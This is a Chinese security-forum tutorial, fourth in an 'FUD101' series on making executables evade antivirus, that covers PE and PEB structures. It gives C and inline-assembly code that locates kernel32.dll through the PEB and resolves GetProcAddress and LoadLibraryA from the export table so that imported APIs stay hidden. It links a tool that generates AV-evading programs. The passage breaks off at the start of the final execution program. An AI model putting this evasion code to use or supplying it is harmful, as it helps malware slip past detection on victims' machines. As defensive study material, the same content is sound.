安全矩阵

 找回密码
 立即注册
搜索
查看: 1751|回复: 0

执行方式免杀之动态加载(FUD101连载四)

[复制链接]

98

主题

207

帖子

955

积分

高级会员

Rank: 4

积分
955
发表于 2020-7-20 08:49:44 | 显示全部楼层 |阅读模式
No.1
声明
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测以及文章作者不为此承担任何责任。

雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。
No.2
前言
针对本篇及后续文章中用到的部分技术,我已经写好了相关代码,用于快速生成免杀的可执行程序,源代码放在了(github)[https://github.com/1y0n/AV_Evasion_Tool]上,也可以直接下载编译好的(程序)[https://github.com/1y0n/AV_Evasion_Tool/releases]
工具界面如下:

效果如下:

在第二章节中我们学习了如何调用API,但是无论怎样调用,IAT 表中还是会出现我们调用的 API (加密会在后面章节中介绍)。这一章节,我们将学习动态加载技术,这种技术可以让我们脱离复杂的导入表结构,在程序空间中构造类似导入表的调用引入函数机制。动态加载技术的核心是对被调用函数的地址的获取,调用函数位于动态链接库中。
**基础知识全部来自《Windows PE权威指南》,我只摘抄了对理解本章节有用的部分,原书讲的更加全面彻底,强烈推荐阅读。**这些知识将在本章节及以后的章节中用到。
No.3

PE 基础概念
地址
PE 中涉及的地址有四类,分别是:
✦虚拟内存地址 VA
✦相对虚拟内存地址 RVA
✦文件偏移地址 FOA
✦特殊地址
虚拟内存地址 VA
用户的PE文件被操作系统加载进内存后,PE对应的进程支配了自己独立的4GB虚拟空间。在这个空间中定位的地址称为虚拟内存地址(Virtual Address,VA),所以虚拟内存地址的范围是 00000000h ~ 0fffffffj 。在PE中,进程本身的VA被解释为:进程的基地址 + 相对虚拟内存地址。
相对虚拟内存地址 RVA
一个进程被操作系统加载到虚拟内存空间后,其相关的DLL也会被加载。这些同时加载到进程地址空间的文件称为 模块。每一个模块在加载时都有一个基地址,也就是预先告诉操作系统,他会占用4GB空间的哪个部分。相对虚拟地址(Reverse Virtual Address,RVA)是相对于基地址的偏移,即RVA是虚拟内存中用来定位某个特定位置的地址,该地址的值是这个特定位置距离某个模块基地址的偏移量,所以说RVA是针对某个模块而存在的。记住,RVA是相对于模块而言的,VA是相对于整个地址空间而言的。
文件偏移地址 FOA
文件偏移地址(File Offset Address,FOA)和内存无关,它是指某个位置距离文件头的偏移。
特殊地址
在 PE 结构中还有一种特殊地址,其计算方法并不是从文件头算起,也不是从内存的某个模块的基地址算起,而是从某个特定的位置算起。这种地址在 PE 结构中很少见,如在资源表里就出现过这样的地址。
指针
PE 数据结构中的指针的定义:如果数据结构中某个字段存储的值为一个地址,那么这个字段就是一个指针。
数据目录
PE 中有一个数据结构称为 数据目录,其中记录了所有可能出现的数据类型。这些类型中,目前已定义的有15种,包括导出表、导入表、资源表、异常表、属性证书表、重定位表、调试数据、Architecture、Global Ptr、线程局部存储、加载配置表、绑定导入表、IAT、延迟导入表和CLR运行头部。
No.4

PE 文件结构(32位)
PE的文件结构如图:

图片来自 https://bbs.pediy.com/thread-252795.htm
1. DOS MZ 头 IMAGE_DOS_HEADER
具体定义如下(偏移基于 IMAGE_NT_HEADERS 头):
  1. typedef struct _IMAGE_DOS_HEADER {     

  2.    // DOS .EXE header
  3.    WORD   e_magic;  // Magic number 固定为"MZ" 即, 4Dh 5Ah
  4.    WORD   e_cblp;  // Bytes on last page of file
  5.    WORD   e_cp;  // Pages in file
  6.    WORD   e_crlc;  // Relocations
  7.    WORD   e_cparhdr;  // Size of header in paragraphs
  8.    WORD   e_minalloc;  // Minimum extra paragraphs needed
  9.    WORD   e_maxalloc;  // Maximum extra paragraphs needed
  10.    WORD   e_ss;  // Initial (relative) SS value
  11.    WORD   e_sp;  // Initial SP value
  12.    WORD   e_csum;  // Checksum
  13.    WORD   e_ip;  // Initial IP value
  14.    WORD   e_cs;  // Initial (relative) CS value
  15.    WORD   e_lfarlc;  // File address of relocation table
  16.    WORD   e_ovno;  // Overlay number
  17.    WORD   e_res[4];  // Reserved words
  18.    WORD   e_oemid;  // OEM identifier (for e_oeminfo)
  19.    WORD   e_oeminfo;  // OEM information; e_oemid specific
  20.    WORD   e_res2[10];  // Reserved words
  21.    LONG   e_lfanew;  // File address of new exe header 指向PE头
  22. } IMAGE_DOS_HEADER, *PIMAGE_DOS_HEADER;
复制代码
2. PE 头标识 Signature
紧跟在DOS Stub后面的是 PE 头标识 Signature。与大部分文件格式的头部结构一样,PE 头部信息中有一个四字节的标识,该标识位于指针 IMAGE_DOS_HEADER.e_lfanew 指向的位置。其内容固定,对应于ASCII码的字符串 “PE\0\0” 。
3. 标准 PE 头 IMAGE_FILE_HEADER
标准PE头IMAGE_FILE_HEADER紧跟在PE头标识后,即位于IMAGE_DOS_HEADER的e_lfanew值+4的位置。由此位置开始的20个字节为数据结构标准PE头IMAGE_FILE_HEADER的内容。该结构在微软的官方文档中被称为标准通用对象文件格式(Common Object File Format,COFF)。它记录了 PE 文件的全局属性,如该 PE 文件运行的平台、文件类型(EXE 或 DLL)、文件中存在的节的总数等,其详细定义如下:
  1. typedef struct _IMAGE_FILE_HEADER {
  2. +04h    WORD          Machine;  // 运行平台
  3. +06h    WORD          NumberOfSections;  // 文件的区块数目
  4. +08h    DWORD         TimeDateStamp;  // 文件创建日期和时间
  5. +0Ch    DWORD         PointerToSymbolTable;  // 指向符号表(主要用于调试)
  6. +10h    DWORD         NumberOfSymbols;  // 符号表中符号个数(同上)
  7. +14h    WORD          SizeOfOptionalHeader;  // IMAGE_OPTIONAL_HEADER32 结构大小
  8. +16h    WORD          Characteristics;  // 文件属性
  9. } IMAGE_FILE_HEADER, *PIMAGE_FILE_HEADER;
复制代码
该结构常用于判断 PE 文件是 EXE 类型还是 DLL 类型。偏移基于 IMAGE_NT_HEADERS 头。
4. 扩展 PE 头 IMAGE_OPTIONAL_HEADER32
重点内容。重点字段将在后面详细展开。
  1. typedef struct _IMAGE_OPTIONAL_HEADER {
  2. WORD                 Magic;                        **魔术字                     偏移0x00
  3. BYTE                 MajorLinkerVersion;           **链接器主版本                偏移0x02
  4. BYTE                 MinorLinkerVersion;           **链接器副版本                偏移0x03
  5. DWORD                SizeOfCode;                   **所有含代码的节的总大小       偏移0x04
  6. DWORD                SizeOfInitializedData;        **所有含初始数据的节的总大小    偏移0x08
  7. DWORD                SizeOfUninitializedData;      **所有含未初始数据的节的总大小  偏移0x0C   
  8. DWORD                AddressOfEntryPoint;          **程序执行入口地址             偏移0x10   重要
  9. DWORD                BaseOfCode;                   **代码节的起始地址             偏移0x14
  10. DWORD                BaseOfData;                   **数据节的起始地址             偏移0x18
  11. DWORD                ImageBase;                    **程序首选装载地址             偏移0x1C   重要
  12. DWORD                SectionAlignment;             **内存中节区对齐大小           偏移0x20   重要
  13. DWORD                FileAlignment;                **文件中节区对齐大小           偏移0x24   重要
  14. WORD                 MajorOperatingSystemVersion;  **操作系统的主版本号           偏移0x28
  15. WORD                 MinorOperatingSystemVersion;  **操作系统的副版本号           偏移0x2A
  16. WORD                 MajorImageVersion;            **镜像的主版本号               偏移0x2C
  17. WORD                 MinorImageVersion;            **镜像的副版本号               偏移0x2E
  18. WORD                 MajorSubsystemVersion;        **子系统的主版本号             偏移0x30
  19. WORD                 MinorSubsystemVersion;        **子系统的副版本号             偏移0x32
  20. DWORD                Win32VersionValue;            **保留,必须为0               偏移0x34
  21. DWORD                SizeOfImage;                  **镜像大小                    偏移0x38   重要
  22. DWORD                SizeOfHeaders;                **PE头大小                    偏移0x3C   重要
  23. DWORD                CheckSum;                     **校验和                      偏移0x40
  24. WORD                 Subsystem;                    **子系统类型                   偏移0x44
  25. WORD                 DllCharacteristics;           **DLL文件特征                  偏移0x46
  26. DWORD                SizeOfStackReserve;           **栈的保留大小                 偏移0x48
  27. DWORD                SizeOfStackCommit;            **栈的提交大小                 偏移0x4C
  28. DWORD                SizeOfHeapReserve;            **堆的保留大小                 偏移0x50
  29. DWORD                SizeOfHeapCommit;             **堆的提交大小                 偏移0x54
  30. DWORD                LoaderFlags;                  **保留,必须为0                偏移0x58
  31. DWORD                NumberOfRvaAndSizes;          **数据目录的项数               偏移0x5C
  32. IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES];
  33. } IMAGE_OPTIONAL_HEADER32, *PIMAGE_OPTIONAL_HEADER32;
复制代码
5. PE 头 IMAGE_NT_HEADERS
广义 PE 头。它包含上面三个头,即 IMAGE_NT_HEADERS = 4个字节的 PE 标志 + IMAGE_FILE_HEADER + IMAGE_OPTIONAL_HEADER32 。其字段我们将在后面详细展开。
6. 数据目录项 IMAGE_DATA_DIRECTORY
IMAGE_OPTIONAL_HEADER32(扩展PE头)结构的最后一个字段为DataDirectory。该字段定义了PE文件中出现的所有不同类型的数据的目录信息。
7. 节表项 IMAGE_SECTION_HEADER
PE 头 IMAGE_NT_HEADERS 后紧跟着节表。它由许多个节表项(IMAGE_SECTION HEADER)组成,每个节表项记录了PE中与某个特定的节有关的信息,如节的属性、节的大小、在文件和内存中的起始位置等。节表中节的数量由字段 IMAGE_FILE_HEADER.NumberOfSections 来定义。节表项的数据结构详细定义如下:
  1. typedef struct _IMAGE_SECTION_HEADER
  2. {
  3.     +0h BYTE Name[IMAGE_SIZEOF_SHORT_NAME]; // 节表名称,如“.text”
  4.     //IMAGE_SIZEOF_SHORT_NAME=8
  5.     union
  6.     +8h {
  7.         DWORD PhysicalAddress; // 物理地址
  8.         DWORD VirtualSize; // 真实长度,这两个值是一个联合结构,可以使用其中的任何一个,一
  9.         // 般是取后一个
  10.     } Misc;
  11.     +ch DWORD VirtualAddress; // 节区的 RVA 地址
  12.     +10h DWORD SizeOfRawData; // 在文件中对齐后的尺寸
  13.     +14h DWORD PointerToRawData; // 在文件中的偏移量
  14.     +18h DWORD PointerToRelocations; // 在OBJ文件中使用,重定位的偏移
  15.     +1ch DWORD PointerToLinenumbers; // 行号表的偏移(供调试使用地)
  16.     +1eh WORD NumberOfRelocations; // 在OBJ文件中使用,重定位项数目
  17.     +20h WORD NumberOfLinenumbers; // 行号表中行号的数目
  18.     +24h DWORD Characteristics; // 节属性如可读,可写,可执行等
  19. } IMAGE_SECTION_HEADER, *PIMAGE_SECTION_HEADER;
复制代码
No.5

扩展PE头
IMAGE_OPTIONAL_HEADER32 的字段
IMAGE_OPTIONAL_HEADER32.ddressOfEntryPoint
+0028h,双字。在Windows中,可执行程序运行在虚拟地址空间中,由于4GB空间对于程序是唯一的,所以这里的虚拟空间可以简单地理解为真实的地址(我们暂且忘记物理内存地址的概念,这样就不需要理解页面调度机制了)。该字段的值是一个RVA,它记录了启动代码距离该PE加载后的起始位置到底有多少个字节。
如果在一个可执行文件中附加了一段自己的代码,并且想让这段代码首先被执行,一般都要修改这里的值使之指向自己的代码位置。对于一般程序映像来说,它就是启动地址;对于设备驱动程序来说,它是初始化函数的地址。入口点对于DLL来说是可选的,如果不存在入口点,这个字段必须设置为0。
IMAGE OPTIONAL HEADER32.BaseOfCode
+002Ch,双字。代码节的起始RVA,表示映像被加载进内存时代码节的开头相对于映像基址的偏移地址。一般情况下,代码节紧跟在PE头部后面,节的名称通常为“.text”。
IMAGE_OPTIONAL_HEADER32.BaseOfData
+0030h,双字。数据节的起始RVA,表示映像被加载进内存时数据节的开头相对于映像基地址的偏移地址。一般情况下,数据节位于文件末尾,节的名称通常为“.data”。
IMAGE_OPTIONAL_HEADER32.ImageBase
该成员指定了文件被执行时优先被装入的地址,如果这个地址已经被占用,那么程序装载器就会将它载入其他地址。当文件被载入其他地址后,就必须通过重定位表进行资源的重定位,这就会变慢文件的载入速度。而装载到ImageBase指定的地址就不会进行资源重定位。
  对于EXE文件来说,由于每个文件总是使用独立的虚拟地址空间,优先装入地址不可能被其他模块占据,所以EXE总是能够按照这个地址装入,这也意味着EXE文件不再需要重定位信息。对于DLL文件来说,由于多个DLL文件全部使用宿主EXE文件的地址空间,不能保证优先装入地址没有被其他的DLL使用,所以DLL文件中必须包含重定位信息以防万一。因此,在前面介绍的 IMAGE_FILE_HEADER 结构的 Characteristics 成员中,DLL 文件对应的IMAGE_FILE_RELOCS_STRIPPED位总是为0,而EXE文件的这个标志位总是为1。
No.6

动态加载流程
从第二章中我们用 GetProcAddress 和 LoadLibrary 替换 VirtualAlloc 可以看出来,只要我们能够使用这两个函数,就可以调用任何 dll,而且,无论我们是否主动调用,Kernel32 都会被调用,所以,动态加载流程就分成了三步,首先是获取 kernel32.dll 的基址,然后获取 GetProcAddress 和 LoadLibrary 的地址,最后用获取的地址加载任何 dll,调用任何函数。
关于获取 Kernel32.dll 基址,《Windows PE权威指南》中给出了四种方法,几种方法各有利弊,我们选择通过 PEB 获取 Kernel32 基址。
PEB 即进程环境块,它记录了与进程相关的各种结构,其中包含了该进程加载的其他模块的地址。其数据结构如下:
  1. typedef struct _PEB
  2. {
  3.    UCHAR InheritedAddressSpace;  // 00h
  4.    UCHAR ReadImageFileExecOptions;  // 01h
  5.    UCHAR BeingDebugged;  // 02h     进程是否处于调试状态
  6.    UCHAR Spare;   // 03h
  7.    PVOID Mutant;  // 04h
  8.    PVOID ImageBaseAddress;  // 08h     进程映像基地址
  9.    PPEB_LDR_DATA Ldr;   // 0Ch   加载的其他模块信息
  10.    PRTL_USER_PROCESS_PARAMETERS ProcessParameters;  // 10h
  11.    PVOID SubSystemData;  // 14h
  12.    PVOID ProcessHeap;  // 18h
  13.    PVOID FastPebLock;  // 1Ch
  14.    PPEBLOCKROUTINE FastPebLockRoutine;  // 20h
  15.    PPEBLOCKROUTINE FastPebUnlockRoutine;  // 24h
  16.    ULONG EnvironmentUpdateCount;  // 28h
  17.    PVOID* KernelCallbackTable;  // 2Ch
  18.    PVOID EventLogSection;   // 30h
  19.    PVOID EventLog;  // 34h
  20.    PPEB_FREE_BLOCK FreeList;  // 38h
  21.    ULONG TlsExpansionCounter;  // 3Ch
  22.    PVOID TlsBitmap;  // 40h
  23.    ULONG TlsBitmapBits[0x2];  // 44h
  24.    PVOID ReadOnlySharedMemoryBase;  // 4Ch
  25.    PVOID ReadOnlySharedMemoryHeap;  // 50h
  26.    PVOID* ReadOnlyStaticServerData;  // 54h
  27.    PVOID AnsiCodePageData;  // 58h
  28.    PVOID OemCodePageData;  // 5Ch
  29.    PVOID UnicodeCaseTableData;  // 60h
  30.    ULONG NumberOfProcessors;  // 64h
  31.    ULONG NtGlobalFlag;  // 68h
  32.    UCHAR Spare2[0x4];  // 6Ch
  33.    LARGE_INTEGER CriticalSectionTimeout;  // 70h
  34.    ULONG HeapSegmentReserve;  // 78h
  35.    ULONG HeapSegmentCommit;  // 7Ch
  36.    ULONG HeapDeCommitTotalFreeThreshold;  // 80h
  37.    ULONG HeapDeCommitFreeBlockThreshold;  // 84h
  38.    ULONG NumberOfHeaps;  // 88h
  39.    ULONG MaximumNumberOfHeaps;  // 8Ch
  40.    PVOID** ProcessHeaps;  // 90h
  41.    PVOID GdiSharedHandleTable;  // 94h
  42.    PVOID ProcessStarterHelper;  // 98h
  43.    PVOID GdiDCAttributeList;   // 9Ch
  44.    PVOID LoaderLock;  // A0h
  45.    ULONG OSMajorVersion  // A4h
  46.    ULONG OSMinorVersion;  // A8h
  47.    ULONG OSBuildNumber;  // ACh
  48.    ULONG OSPlatformId;  // B0h
  49.    ULONG ImageSubSystem;  // B4h
  50.    ULONG ImageSubSystemMajorVersion;  // B8h
  51.    ULONG ImageSubSystemMinorVersion;  // C0h
  52.    ULONG GdiHandleBuffer[0x22];  // C4h
  53.    PVOID ProcessWindowStation;  // ???
  54. }
复制代码
注意看第9行,Ldr 指向了一个结构,该结构的详细定义为:
  1. typedef struct _PEB_LDR_DATA  
  2. {  
  3.  ULONG Length; // +0x00  
  4.  BOOLEAN Initialized; // +0x04  
  5.  PVOID SsHandle; // +0x08  
  6.  LIST_ENTRY InLoadOrderModuleList; // +0x0c  
  7.  LIST_ENTRY InMemoryOrderModuleList; // +0x14  
  8.  LIST_ENTRY InInitializationOrderModuleList;// +0x1c  
  9. } PEB_LDR_DATA,*PPEB_LDR_DATA; // +0x24
复制代码
注意看第6-8行,这是哪个 LIST_ENTRY 记录了当前进程加载的模块。其中,最后一个 LIST_ENTRY 中记录了进程初始化时加载的模块:这个列表包含了 ntdll.dll 和 kernel32.dll,而且大多数情况下,kernel32.dll 的基地址位于第二个地址处。LIST_ENTRY 指向了数据结构 _LDR_MODULE ,该结构详细定义如下:
  1. typedef struct _LDR_MODULE {
  2. LIST_ENTRY              InLoadOrderModuleList;//代表按加载顺序构成的模块链表
  3. LIST_ENTRY              InMemoryOrderModuleList;//代表按内存顺序构成的模块链表
  4. LIST_ENTRY            InInitializationOrderModuleList;//代表按初始化顺序构成的模块链表
  5. PVOID                   BaseAddress;//该模块的基地址
  6. PVOID                   EntryPoint;//该模块的入口
  7. ULONG                   SizeOfImage;//该模块的影像大小
  8. UNICODE_STRING          FullDllName;//包含路径的模块名
  9. UNICODE_STRING          BaseDllName;//不包含路径的模块名
  10. ULONG                   Flags;
  11. SHORT                   LoadCount;//该模块的引用计数
  12. SHORT                   TlsIndex;
  13. HANDLE                  SectionHandle;
  14. ULONG                   CheckSum;
  15. ULONG                   TimeDateStamp;
  16. } LDR_MODULE, *PLDR_MODULE;
复制代码
No.7
实现
上面理好了流程,下面我们就码代码执行一遍整个流程。
获取 Kernel32 基地址
实现代码1:

  1. # include <Windows.h>
  2. int main(){
  3.     HMODULE hModule;
  4.     _asm
  5.     {
  6.         mov eax, fs:[0x30]   //得到PEB地址,其实这里还有个TEB的概念,但是只用到这一次,为了防止混乱,就不再解释了
  7.         mov eax, [eax + 0xc]//指向PEB_LDR_DATA结构的首地址
  8.         mov eax, [eax + 0x1c]//一个双向链表的地址
  9.         mov eax, [eax]//得到第二个条目kernelBase的链表
  10.         mov eax, [eax]//得到第三个条目kernel32链表(win10)
  11.         mov eax, [eax + 0x8] //kernel32.dll地址
  12.         mov hModule, eax
  13.        }
  14. }
复制代码
实现代码2(和1差不多,只是没全用汇编):
  1. # include <Windows.h>

  2. //代码来自看雪论坛



  3. int main(){
  4.     DWORD dwPEB;
  5.     DWORD dwLDR;
  6.     DWORD dwInitList;
  7.     DWORD dwDllBase;//当前地址
  8.     PIMAGE_DOS_HEADER pImageDosHeader;//指向DOS头的指针
  9.     PIMAGE_NT_HEADERS pImageNtHeaders;//指向NT头的指针
  10.     DWORD dwVirtualAddress;//导出表偏移地址
  11.     PIMAGE_EXPORT_DIRECTORY pImageExportDirectory;//指向导出表的指针
  12.     PTCHAR lpName;//指向dll名字的指针
  13.     TCHAR szKernel32[] = TEXT("KERNEL32.dll");
  14.     TCHAR szBuffer[256];


  15.     __asm
  16.     {
  17.         mov eax, FS:[0x30]//获取PEB所在地址
  18.         mov dwPEB, eax
  19.     }


  20.     dwLDR = *(PDWORD)(dwPEB + 0xc);//获取PEB_LDR_DATA 结构指针
  21.     dwInitList = *(PDWORD)(dwLDR + 0x1c);//获取InInitializationOrderModuleList 链表头
  22.      //第一个LDR_MODULE节点InInitializationOrderModuleList成员的指针


  23.     for (;
  24.         dwDllBase = *(PDWORD)(dwInitList + 8);//结构偏移0x8处存放模块基址
  25.         dwInitList = *(PDWORD)dwInitList//结构偏移0处存放下一模块结构的指针
  26.     )
  27.     {
  28.         pImageDosHeader = (PIMAGE_DOS_HEADER)dwDllBase;
  29.         pImageNtHeaders = (PIMAGE_NT_HEADERS)(dwDllBase + pImageDosHeader->e_lfanew);
  30.         dwVirtualAddress = pImageNtHeaders->OptionalHeader.DataDirectory[0].VirtualAddress;//导出表偏移
  31.         pImageExportDirectory = (PIMAGE_EXPORT_DIRECTORY)(dwDllBase + dwVirtualAddress);//导出表地址
  32.         lpName = (PTCHAR)(dwDllBase + pImageExportDirectory->Name);//dll名字

  33.         if (strlen(lpName) == 0xc && !strcmp(lpName, szKernel32))//判断是否为“KERNEL32.dll”
  34.         {

  35.             //输出模块基地址
  36.             wsprintf(szBuffer, TEXT("kernel32.dll的基地址为%08x"), dwDllBase);
  37.             MessageBox(NULL, szBuffer, NULL, MB_OK);
  38.         }
  39.     }

  40.     return 0;

  41. }
复制代码
两个的执行结果是一样的,这个结果在不同的系统上执行结果可能是不一样的:


获取 LoadLibrary 与 GetProcAddress 地址
直接给出代码:
  1. # include<Windows.h>

  2. # include<stdio.h>



  3. /*
  4. 获取kernel32.dll的基地址
  5. 因为vc程序main函数之前会有初始化,所以不能通过堆栈栈顶值获取kernel32.dll中的地址
  6. 因此通过 PEB 结构获取Kernel32.dll基址

  7. 代码来自看雪论坛
  8. */



  9. DWORD _getKernelBase()
  10. {
  11.     DWORD dwPEB;
  12.     DWORD dwLDR;
  13.     DWORD dwInitList;
  14.     DWORD dwDllBase;//当前地址
  15.     PIMAGE_DOS_HEADER pImageDosHeader;//指向DOS头的指针
  16.     PIMAGE_NT_HEADERS pImageNtHeaders;//指向NT头的指针
  17.     DWORD dwVirtualAddress;//导出表偏移地址
  18.     PIMAGE_EXPORT_DIRECTORY pImageExportDirectory;//指向导出表的指针
  19.     PTCHAR lpName;//指向dll名字的指针
  20.     TCHAR szKernel32[] = TEXT("KERNEL32.dll");

  21.     __asm
  22.     {
  23.         mov eax, FS: [0x30]//获取PEB所在地址
  24.         mov dwPEB, eax
  25.     }

  26.     dwLDR = *(PDWORD)(dwPEB + 0xc);//获取PEB_LDR_DATA 结构指针
  27.     dwInitList = *(PDWORD)(dwLDR + 0x1c);//获取InInitializationOrderModuleList 链表头
  28. //第一个LDR_MODULE节点InInitializationOrderModuleList成员的指针

  29.     for (;
  30.         dwDllBase = *(PDWORD)(dwInitList + 8);//结构偏移0x8处存放模块基址
  31.         dwInitList = *(PDWORD)dwInitList//结构偏移0处存放下一模块结构的指针
  32.     )
  33.     {
  34.         pImageDosHeader = (PIMAGE_DOS_HEADER)dwDllBase;
  35.         pImageNtHeaders = (PIMAGE_NT_HEADERS)(dwDllBase + pImageDosHeader->e_lfanew);
  36.         dwVirtualAddress = pImageNtHeaders->OptionalHeader.DataDirectory[0].VirtualAddress;//导出表偏移
  37.         pImageExportDirectory = (PIMAGE_EXPORT_DIRECTORY)(dwDllBase + dwVirtualAddress);//导出表地址
  38.         lpName = (PTCHAR)(dwDllBase + pImageExportDirectory->Name);//dll名字

  39.         if (strlen(lpName) == 0xc && !strcmp(lpName, szKernel32))//判断是否为“KERNEL32.dll”
  40.         {

  41.             return dwDllBase;
  42.         }
  43.     }

  44.     return 0;
  45. }



  46. /*
  47. 获取指定字符串的API函数的调用地址
  48. 入口参数:_hModule为动态链接库的基址
  49. _lpApi为API函数名的首址
  50. 出口参数:eax为函数在虚拟地址空间中的真实地址
  51. */



  52. DWORD _getApi(DWORD _hModule, PTCHAR _lpApi)
  53. {
  54.     DWORD i;
  55.     DWORD dwLen;
  56.     PIMAGE_DOS_HEADER pImageDosHeader;//指向DOS头的指针
  57.     PIMAGE_NT_HEADERS pImageNtHeaders;//指向NT头的指针
  58.     DWORD dwVirtualAddress;//导出表偏移地址
  59.     PIMAGE_EXPORT_DIRECTORY pImageExportDirectory;//指向导出表的指针
  60.     TCHAR** lpAddressOfNames;
  61.     PWORD lpAddressOfNameOrdinals;//计算API字符串的长度
  62.     for (i = 0; _lpApi[i]; ++i);
  63.     dwLen = i;

  64.     pImageDosHeader = (PIMAGE_DOS_HEADER)_hModule;
  65.     pImageNtHeaders = (PIMAGE_NT_HEADERS)(_hModule + pImageDosHeader->e_lfanew);
  66.     dwVirtualAddress = pImageNtHeaders->OptionalHeader.DataDirectory[0].VirtualAddress;//导出表偏移
  67.     pImageExportDirectory = (PIMAGE_EXPORT_DIRECTORY)(_hModule + dwVirtualAddress);//导出表地址
  68.     lpAddressOfNames = (TCHAR**)(_hModule + pImageExportDirectory->AddressOfNames);//按名字导出函数列表
  69.     for (i = 0; _hModule + lpAddressOfNames[i]; ++i)
  70.     {

  71.         if (strlen(_hModule + lpAddressOfNames[i]) == dwLen &&

  72. !strcmp(_hModule + lpAddressOfNames[i], _lpApi))//判断是否为_lpApi
  73.         {
  74.             lpAddressOfNameOrdinals = (PWORD)(_hModule + pImageExportDirectory->AddressOfNameOrdinals);//按名字导出函数索引列表
  75.         
  76.             return _hModule + ((PDWORD)(_hModule + pImageExportDirectory->AddressOfFunctions))
  77. [lpAddressOfNameOrdinals[i]];//根据函数索引找到函数地址

  78.         }
  79.     }

  80.     return 0;
  81. }



  82. int main(HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR szCmdLine, int iCmdShow){
  83.     DWORD kernel32Base;

  84.     PROC _getProcAddress;
  85.     DWORD lpLoadLib;

  86.     TCHAR szBuffer[256];

  87.     TCHAR szGetProcAddr[] = TEXT("GetProcAddress");
  88.     TCHAR szLoadLib[] = TEXT("LoadLibraryA");

  89.     kernel32Base = _getKernelBase();

  90.     _getProcAddress = (PROC)_getApi(kernel32Base, szGetProcAddr);//为函数引用赋值 GetProcAddress

  91.     lpLoadLib = _getProcAddress(kernel32Base, szLoadLib);

  92.     printf("kernel32.dll在本程序地址空间的基地址为:%08x\n", kernel32Base);

  93.     printf("GetProcAddress代码在本程序地址空间的首址为:%08x\n", _getProcAddress);

  94.     printf("LoadLibraryA代码在本程序地址空间的首址为:%08x\n", lpLoadLib);

  95.     return 0;
  96. }
复制代码
执行效果:

执行代码
执行代码如下:
  1. # include<Windows.h>

  2. # include<stdio.h>



  3. /*
  4. 获取kernel32.dll的基地址
  5. 因为vc程序main函数之前会有初始化,所以不能通过堆栈栈顶值获取kernel32.dll中的地址
  6. 因此通过 PEB 结构获取Kernel32.dll基址

  7. 部分代码来自看雪论坛
  8. */



  9. DWORD _getKernelBase()
  10. {
  11.     DWORD dwPEB;
  12.     DWORD dwLDR;
  13.     DWORD dwInitList;
  14.     DWORD dwDllBase;//当前地址
  15.     PIMAGE_DOS_HEADER pImageDosHeader;//指向DOS头的指针
  16.     PIMAGE_NT_HEADERS pImageNtHeaders;//指向NT头的指针
  17.     DWORD dwVirtualAddress;//导出表偏移地址
  18.     PIMAGE_EXPORT_DIRECTORY pImageExportDirectory;//指向导出表的指针
  19.     PTCHAR lpName;//指向dll名字的指针
  20.     TCHAR szKernel32[] = TEXT("KERNEL32.dll");

  21.     __asm
  22.     {
  23.         mov eax, FS: [0x30]//获取PEB所在地址
  24.         mov dwPEB, eax
  25.     }

  26.     dwLDR = *(PDWORD)(dwPEB + 0xc);//获取PEB_LDR_DATA 结构指针
  27.     dwInitList = *(PDWORD)(dwLDR + 0x1c);//获取InInitializationOrderModuleList 链表头
  28. //第一个LDR_MODULE节点InInitializationOrderModuleList成员的指针

  29.     for (;
  30.         dwDllBase = *(PDWORD)(dwInitList + 8);//结构偏移0x8处存放模块基址
  31.         dwInitList = *(PDWORD)dwInitList//结构偏移0处存放下一模块结构的指针
  32.     )
  33.     {
  34.         pImageDosHeader = (PIMAGE_DOS_HEADER)dwDllBase;
  35.         pImageNtHeaders = (PIMAGE_NT_HEADERS)(dwDllBase + pImageDosHeader->e_lfanew);
  36.         dwVirtualAddress = pImageNtHeaders->OptionalHeader.DataDirectory[0].VirtualAddress;//导出表偏移
  37.         pImageExportDirectory = (PIMAGE_EXPORT_DIRECTORY)(dwDllBase + dwVirtualAddress);//导出表地址
  38.         lpName = (PTCHAR)(dwDllBase + pImageExportDirectory->Name);//dll名字

  39.         if (strlen(lpName) == 0xc && !strcmp(lpName, szKernel32))//判断是否为“KERNEL32.dll”
  40.         {

  41.             return dwDllBase;
  42.         }
  43.     }

  44.     return 0;
  45. }



  46. /*
  47. 获取指定字符串的API函数的调用地址
  48. 入口参数:_hModule为动态链接库的基址
  49. _lpApi为API函数名的首址
  50. 出口参数:eax为函数在虚拟地址空间中的真实地址
  51. */



  52. DWORD _getApi(DWORD _hModule, PTCHAR _lpApi)
  53. {
  54.     DWORD i;
  55.     DWORD dwLen;
  56.     PIMAGE_DOS_HEADER pImageDosHeader;//指向DOS头的指针
  57.     PIMAGE_NT_HEADERS pImageNtHeaders;//指向NT头的指针
  58.     DWORD dwVirtualAddress;//导出表偏移地址
  59.     PIMAGE_EXPORT_DIRECTORY pImageExportDirectory;//指向导出表的指针
  60.     TCHAR** lpAddressOfNames;
  61.     PWORD lpAddressOfNameOrdinals;//计算API字符串的长度
  62.     for (i = 0; _lpApi[i]; ++i);
  63.     dwLen = i;

  64.     pImageDosHeader = (PIMAGE_DOS_HEADER)_hModule;
  65.     pImageNtHeaders = (PIMAGE_NT_HEADERS)(_hModule + pImageDosHeader->e_lfanew);
  66.     dwVirtualAddress = pImageNtHeaders->OptionalHeader.DataDirectory[0].VirtualAddress;//导出表偏移
  67.     pImageExportDirectory = (PIMAGE_EXPORT_DIRECTORY)(_hModule + dwVirtualAddress);//导出表地址
  68.     lpAddressOfNames = (TCHAR**)(_hModule + pImageExportDirectory->AddressOfNames);//按名字导出函数列表
  69.     for (i = 0; _hModule + lpAddressOfNames[i]; ++i)
  70.     {

  71.         if (strlen(_hModule + lpAddressOfNames[i]) == dwLen &&
  72. !strcmp(_hModule + lpAddressOfNames[i], _lpApi))//判断是否为_lpApi
  73.         {
  74.             lpAddressOfNameOrdinals = (PWORD)(_hModule + pImageExportDirectory->AddressOfNameOrdinals);//按名字导出函数索引列表

  75.             return _hModule + ((PDWORD)(_hModule + pImageExportDirectory->AddressOfFunctions))
  76. [lpAddressOfNameOrdinals[i]];//根据函数索引找到函数地址

  77.         }
  78.     }

  79.     return 0;
  80. }



  81. int main(){

